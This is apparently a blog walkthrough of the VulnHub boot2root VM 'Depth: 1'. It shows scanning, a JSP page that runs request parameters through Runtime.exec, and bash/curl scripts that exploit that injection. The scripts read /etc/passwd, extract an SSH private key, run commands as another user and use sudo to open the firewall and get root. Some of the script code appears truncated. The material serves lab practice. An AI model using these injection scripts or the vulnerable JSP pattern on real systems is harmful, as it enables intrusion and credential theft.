This post documents the complete walkthrough of Depth: 1, a boot2root VM created by Dan Lawson, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


In Dan’s own words:

Many times while conducting a pentest, I need to script something up to make my life easier or to quickly test an attack idea or vector. Recently I came across an interesting command injection vector on a web application sitting on a client’s internet-facing estate. There was a page, running in Java, that allowed me to type arbitrary commands into a form, and have it execute them. While developer-provided web shells are always nice, there were a few caveats. The page was expecting directory listing style output, which was then parsed and reformatted. If the output didn’t match this parsing, no output to me. Additionally, there was no egress. ICMP, and all TCP/UDP ports including DNS were blocked outbound.

I was still able to leverage the command injection to compromise not just the server, but the entire infrastructure it was running on. After the dust settled, the critical report was made, and the vulnerability was closed, I thought the entire attack path was kind of fun, and decided to share how I went about it. Since I enjoy being a free man and only occasionally visit prisons, I’ve created a simple boot2root style VM that has a similar set of vulnerabilities to use in a walkthrough.

Information Gathering

Let’s kick this off with a nmap scan to establish the services available in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
8080/tcp open  http    syn-ack ttl 64 Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat

One open port? Well, I guess I’ve to brute-force my way to an attack surface.

Directory/File Enumeration

Let’s start with directory/file enumeration, using wfuzz and its associated wordlists.

# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt -c --hc 404
* Wfuzz 2.2.9 - The Web Fuzzer                         *

Total requests: 26600

ID	Response   Lines      Word         Chars          Payload    

012247:  C=200     29 L	     211 W	   1896 Ch	  "index - .html"
014532:  C=302      0 L	       0 W	      0 Ch	  "manager - /"
023339:  C=200     21 L	      59 W	    573 Ch	  "test - .jsp"

Total time: 72.76834
Processed Requests: 26600
Filtered Requests: 26597
Requests/sec.: 365.5435

We find /test.jsp. It may be interesting.

File Listing Checker

This is what I see when I navigate to with my browser.


After some tinkering with test.jsp to get output, command execution is possible but the command output must conform to the following:

  • Output must not be empty; and
  • Output must be more than eight tokens, delimited by one or more space.

For some reason, the HTML table shows token two, three, four, eight, and beyond. I’m able to leverage hexdump to act like cat to display /etc/passwd like so.


I wrote to extract and display the printable ASCII characters from the hexadecimal numbers.

__CAT="hexdump -C "

function urlencode() {

    local length="${#1}"
    for (( i = 0; i < length; i++ )); do
        local c="${1:i:1}"
        case $c in
            [a-zA-Z0-9.~_-]) printf "$c" ;;
            *) printf '%%%02X' "'$c" ;;


CMD=$(urlencode "$__CMD")

curl -s $_HOST:$_PORT/$_TEST?$_PATH=$CMD \
| grep '|' \
| cut -d'|' -f2 \
| tr -d '\n' \
| tr '.' '\n'

This is how /etc/passwd looks like—tomcat8 and bill.

# ./ /etc/passwd

This is how their respective home directories look like.


Notice that tomcat8 has a .ssh directory?


Notice that bill can sudo as root?

This is how test.jsp looks like.

<%@ page import="java.util.*,*,java.util.regex.*"%>
    if (request.getParameter("path") != null) {
        String delims = "[ ]+";
        out.println("Command: " + request.getParameter("path") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("path"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        out.println("<table border='1'><tr><th>Owner</th><th>Group</th><th>Size</th><th>Filename</th></tr>");

        String disr = dis.readLine();
        while ( disr != null ) {
            String[] tokens = disr.split(delims);

            if (tokens.length > 8) {
                out.println("<td>" + tokens[2] + "</td>");
                out.println("<td>" + tokens[3] + "</td>");
                out.println("<td>" + tokens[4] + "</td>");
                String[] filename = Arrays.copyOfRange(tokens, 8, tokens.length);
                String fname = String.join(" ", filename);
                out.println("<td>" + fname + "</td>");

                disr = dis.readLine();
            } else {
                disr =dis.readLine();


I’m able to run ps faux and notice that sshd is running. ufw, a firewall, is also running based on what’s in /etc/ufw/ufw.conf.

# ./ /etc/ufw/ufw.conf
# /etc/ufw/ufw.conf

# Set to yes to start on boot If setting this remotely, be sure to add a rule
# to allow your remote connection before starting ufw. Eg: 'ufw allow 22/tcp'

# Please use the 'ufw' command to set the loglevel. Eg: 'ufw logging medium'
# See 'man ufw' for details.

This explains why there’s one open port from the earlier nmap scan. SSH is probably blocked by the firewall.

The Key to a Man’s Heart Is Through His Stomach

With, combined with the directory listing from test.jsp, I’m able to discover and extract tomcat8’s SSH key pair from its home directory.


I take an educated guess, put two and two together, and gather that tomcat8 probably has its public key listed in /home/bill/.ssh/authorized_keys. If that’s the case, I should be able to log in to bill’s account via SSH in localhost. Well, let’s find out and as Yoda put it, “Do or do not. There’s no try.

Kill Bill: Vol. 1

I know one can execute a command upon login via SSH. But first, let’s see if I can log in as bill with tomcat8’s private key.


Holy smoke. I’m able to execute remote commands and overcome the output display restrictions by adding my own placeholders.

With this in mind, I wrote, a script that displays the proper output from the commands as if bill is the one executing in a shell.

__SSH="ssh -i $__KEY [email protected]"
__SEQ="echo 0 1 2 3 4 5 6 7"
__CMD="$__SSH sh -c '$__SEQ XXX$1 | base64XXX' "

urlencode() {

    local length="${#1}"
    for (( i = 0; i < length; i++ )); do
        local c="${1:i:1}"
        case $c in
            [a-zA-Z0-9.~_-]) printf "$c" ;;
            *) printf '%%%02X' "'$c" ;;


CMD=$(urlencode "$__CMD")

curl -s $_HOST:$_PORT/$_TEST?$_PATH=${CMD//XXX/%60} \
| grep -P '^<td>' \
| sed -e '4!d' -e 's/^<td>//' -e 's/<\/td>$//' \
| tr ' ' '\n' \
| base64 -d

Kill Bill: Vol. 2

Let’s give it a spin.

# ./ "sudo -l"
Matching Defaults entries for bill on b2r:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bill may run the following commands on b2r:

As expected, let’s abuse this privilege to enable SSH in the firewall and give myself a proper shell.

# ./ "sudo ufw allow ssh"
Rule added
Rule added (v6)

From my attacking machine, I can now login as bill and sudo as root.



Where Is the Flag?


Well, that wasn’t difficult, was it?